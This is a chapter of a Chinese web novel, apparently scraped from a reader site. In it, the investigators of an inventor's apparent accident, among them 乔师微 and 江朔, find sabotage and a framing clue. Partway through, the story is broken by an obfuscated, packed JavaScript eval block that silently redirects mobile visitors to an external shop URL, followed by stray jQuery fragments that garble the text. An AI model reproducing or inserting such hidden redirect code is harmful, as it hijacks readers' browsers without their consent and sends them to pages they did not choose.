文趣网 > 其他小说 > 弈天机 > 26. 九州清晏(7)
    乔师微从没见褚文翼如此狼狈。

    “我今早――今早来叫他准备那台机器,不是有展览吗――敲了老半天门都没回应,我说他个懒棒是不是还在睡,干脆破门――结果,结果――”

    他结结巴巴语无伦次,用手捂着脸,全身汗涔涔的。

    郑鸳也上来了,脸色惨白。

    “怎么会这样――”

    她一把推开她弟弟,跌跌撞撞往里,进了陆明的房间。

    所有人也一拥而上。

    乔师微三人紧跟着开路的郑鸳。一进房门,先是一股扑鼻的焦味,然后是眼前狼藉。

    窗扇大开着,晃悠悠的,地板中心是陆明面朝下躺倒的尸体,胸口一个血窟窿,他身下地板上一片黑灰。那台机器在他身前一尺处,零件呈爆破状散落,骨碌碌地来回滚着。

    姜绛差点叫出来,被孟萌连眼带嘴一同捂上。

    “……我去叫九州清晏的人。在此之前,你们都别动。”

    苏羽半天才憋出一句。她离门最近,三下五除二下了楼。

    “真可怜。看起来像是那机器爆了,碎片飞溅,把他穿得透透的。”

    孟萌唏嘘了句。

    拓跋雄附和道:

    “唉,这些搞研究的呆子,出的意外还真不比咱们沙场上拼杀的少……等人来收尸吧。”

    乔师微见此情形,想说两句,但没理由冒头。

    明明昨天演示的时候还好好的……

    半柱香的工夫,苏羽带着九州清晏的人来了。

    山主,江朔,还有两个弟子打下手。

    山主的脸色很是难看,大抵是西永人客死九州清晏传出去有伤清名。江朔也沉着脸,按照程序翻检完了陆明的尸身,碰到脖子的时候,他的手顿住了,眼底神色几经变换,最终定格到了一种奇特的深邃。

    乔师微注意到他的异样,眉头一皱:

    “江大人可有发现?”

    被她一问,江朔的神情很快恢复成一开始的凝重,起身面向众人一拱手:

    “西永陆明乃是被爆破的金属碎片刺透胸部,穿肺而死。请诸位节哀,此事九州清晏自会处理。”

    说完示意两个弟子上前。

    两个弟子把担架抬到前来,合力将陆明的尸身放上去,盖上白布,而后下去了。

    房内众人神色各异。

    山主走到那残破的机器前,摇头叹息:

    “唉,这小子,年纪轻轻能做出此等物件,若他将成品展出,定能大放异彩……可惜,天妒英才,天妒英才啊。”

    乔师微心中五味杂陈,也往那机器走进了一步。

    昨日展示的时候还是好端端的,能出意外大抵是晚上尝试着按他后来的思路改进……

    她的目光瞥过法阵一角,随即凝住了。

    昨日还是一层……今日的怎就叠了三层?

    而且,这爆破阵仗不小。

    为什么连她在内的其他人一点也没听到?

    “等等,我问各位一句,昨夜有谁听到陆明房中的动静吗?”

    乔师微朗声问了句。

    所有人面面相觑。

    孟萌左顾右盼,看向墙角时眼睛骤然亮了起来:

    “看!那里贴了张符纸!”

    众人一拥而前。

    果然,一个隐蔽的角落现出了黄符一角。孟萌眼疾手快把符展开。

    乔师微最快识别出来:

    “隔音符。”

    “这是陆明贴的?这么隐蔽做甚?”

    拓跋雄摸不着头脑。

    一直没吭声的郑鸳脸色却突然煞白了:

    “难道……是有人故意的?!”

    此话一出,全场静默。

    “这张符纸是我贴的。”

    褚文翼在外间调理好了,摇摇晃晃走进来,中气不太足的样子。

    “他昨天半夜调机器吵得够呛……我就自作主张藏了隔音符。这也是想让大家睡个安稳觉嘛。”

    他挠挠头,众人的眼神汇聚在他身上,让他有些不自在。

    江朔的着眼点不在此处。乔师微去看符纸后,他将机器翻弄一通,这一看,果真查出了猫腻:

    “你们来看这里。”

    众人这次不像先前那般一窝蜂涌上,似是对这夺人性命的机器还有些顾忌。自觉走上前来的,只有山主和乔师微。

    江朔指着一处关节:

    “这里的螺丝松了半圈,直接导致机器运行时失控。但你们看他附近……”

    乔师微低头:

    散乱一地的残片,螺丝,弹簧,齿轮……

    “工具呢?”

    她问了出来。

    “我记得旁边有个工具箱――欸,箱子呢?”

    孟萌一脸惊悚。

    乔师微转头,床边的工具箱的确无影无踪了。

    孟萌吐槽了句:

    “谁会偷这个啊?……等等,难不成――”

    她说了半截,连忙后怕地捂住嘴。

    众人顿时陷入思考。

    螺丝被拧松半圈,而后工具箱不翼而飞,就算想再改也……

    陆明如果半夜改动过这台机器,那工具一定在触手可及的位置,如今这般――

    乔师微眸色一沉,一槌定音:

    “有人故意的。”

    “乔大人当真确信?这九州清晏出了命案,那可不是轻易的事。”

    山主一脸严峻地盯着她。

    “若想下凶案这个结论,得先搬出有信服力的证据,然后才计较凶手是谁。”

    “山主,找到了。”

    江朔将机器抬起,符文面朝上,走到山主面前。

    “这片符文被改过,多了两层,新符文手笔毛糙,明显不是陆明亲笔。况且,屋内并没有朱砂和刻刀。”

    “哦?”

    山主双眼微眯,捻了捻胡子。

    乔师微走到近前细细浏览。

    这两道符文边沿毛糙,朱砂浓淡不均,木屑都没有掉下……

    有道理。

    “好。江朔做得不错。”

    山主目光依次扫过众人,随即下令。

    “立即封锁桃李居。所有人到广场集合,未经允许不得离开。”

    天阴沉沉的,所有人被赶着往下,一路到当晚观天的广场。

    气氛压抑非常。四个小团体互相离得远远的,凑成东西南北四角,看谁都像凶手。

    姜绛出了门就开始左扭右扭,两只手不安地把全身上下摸了个遍。

    乔师微:“你怎么了?”

    姜绛欲哭无泪:

    “乔姐姐,我的面纱真不见了……我昨天记得塞在兜里的啊?”

    这种时候不见?

    乔师微脑子一轰,顿觉不祥。

    九州清晏的弟子,一部分忙着搜房,一部分来广场诘问盘查。

    西永代表团首当其冲。

    褚文翼被问起时破口大骂,说他虽然看不惯那小子但也没到痛下杀手的地步。这么一推一搡,若不是郑鸳拦着,几乎和那执法弟子打起来。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742120|208817||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “那你的隔音符怎么回事?放这么隐蔽,做贼心虚似的。还有,前脚隔音,后脚凶案,世上怎么有如此巧合?”

    执法弟子被他惹恼了。

    褚文翼嘴唇翕动着,脸几乎成了酱紫色,眼神一瞟一瞟,最后只挤出了干巴巴的一句辩解:

    “那……那就是巧合又怎么样?大家都是西永人,一个团里的,犯不着――”

    “我看你就没把人家当人看。”

    苏羽插了句,双手抱臂,面纱之上的眼神冷冷的。

    “你前两天怎么欺负人家的?要不是你有个好姐姐,那陆小郎君怕是早被你挤扁了。”

    “……苏羽姑娘息怒。我弟弟心思单纯直率,但绝不会做杀人之事!”

    郑鸳语气不硬,但很有底气。

    褚文翼微微动容。

    “姐姐……”

    郑鸳没理他,继续辩驳:

    “我弟弟说得没错。陆明和我们都是西永人,他此番带来的发明也是为了西永争光,这是我们共同的荣耀,断无因此嫉妒害命之理。”

    苏羽眉头一挑:

    “那你说,能进入陆明的房间,悄咪咪篡改符文和机器结构而不引起水花,除了你们西永一伙的,还能有谁?”

    郑鸳一时语塞。

    乔师微于心不忍,几乎看不下去她被如此刁难,才准备说句什么解围,岂料这时,前去搜查的弟子团搬着工具箱一路小跑出来。

    众人目光都被吸引了过去。

    为首的依然是江朔。他的目光和乔师微对上了一瞬,但又触电似的躲开了。

    什么情况?

    乔师微心上疑惑。

    “褚文翼房中搜出了陆明的工具箱,里面刻刀、螺丝刀、朱砂,一应俱全。”

    江朔眉心紧锁,吐字一板一眼,字正腔圆。

    褚文翼这下是面无人色了,唰的一声瘫倒在地,又连滚带爬到江朔脚边,连连磕头:

    “江大人明鉴!江大人明鉴啊!我真没有杀人,这破箱子肯定是哪个杀千刀的要陷害我――”

    郑鸳也径直到他跟前做了一揖,声音颤抖:

    “江大人,我弟弟不可能做出这种事情,一定是误会了!”

    “哭什么?我什么时候说过是你杀的?”

    江朔没好气地俯视着跪在地上的褚文翼,语气甚至带着几分不耐。

    乔师微看着江朔此时的神色,心上顿时产生一种又熟悉又陌生的感觉。

    这不像江朔。

    但……他给她的感觉有些似曾相识。

    ……是在哪儿呢?

    江朔踢开一把鼻涕一把泪的褚文翼,眸光不善地让随行弟子呈上并打开工具箱。

    “我们在里面,发现了一条很容易被遗忘的线索……”

    他从工具箱里拿起一把镊子,又轻手往箱子里的某个角落一夹,随即把镊子举高到日光下:

    乔师微看到了,那被夹在镊子中间的是几缕比头发丝还细数倍的白色纤维,丝丝缕缕,尾端在半空中飘着,还反射出五彩的光。

    等等……这么好的纤维,该不会是……

    江朔方才微妙的眼神在她眼前迅速掠过。

    乔师微脑子炸了。

    她几乎料到接下来要发生什么。

    没想到……苏羽善意的提醒竟然一语成谶。

    “经查,此物乃淮南特产缎子独有的纤维,平时为半透明的白,但在日光下能现出五彩光泽,惟东尧世家及以上可用……乔大人,我说得可有错?”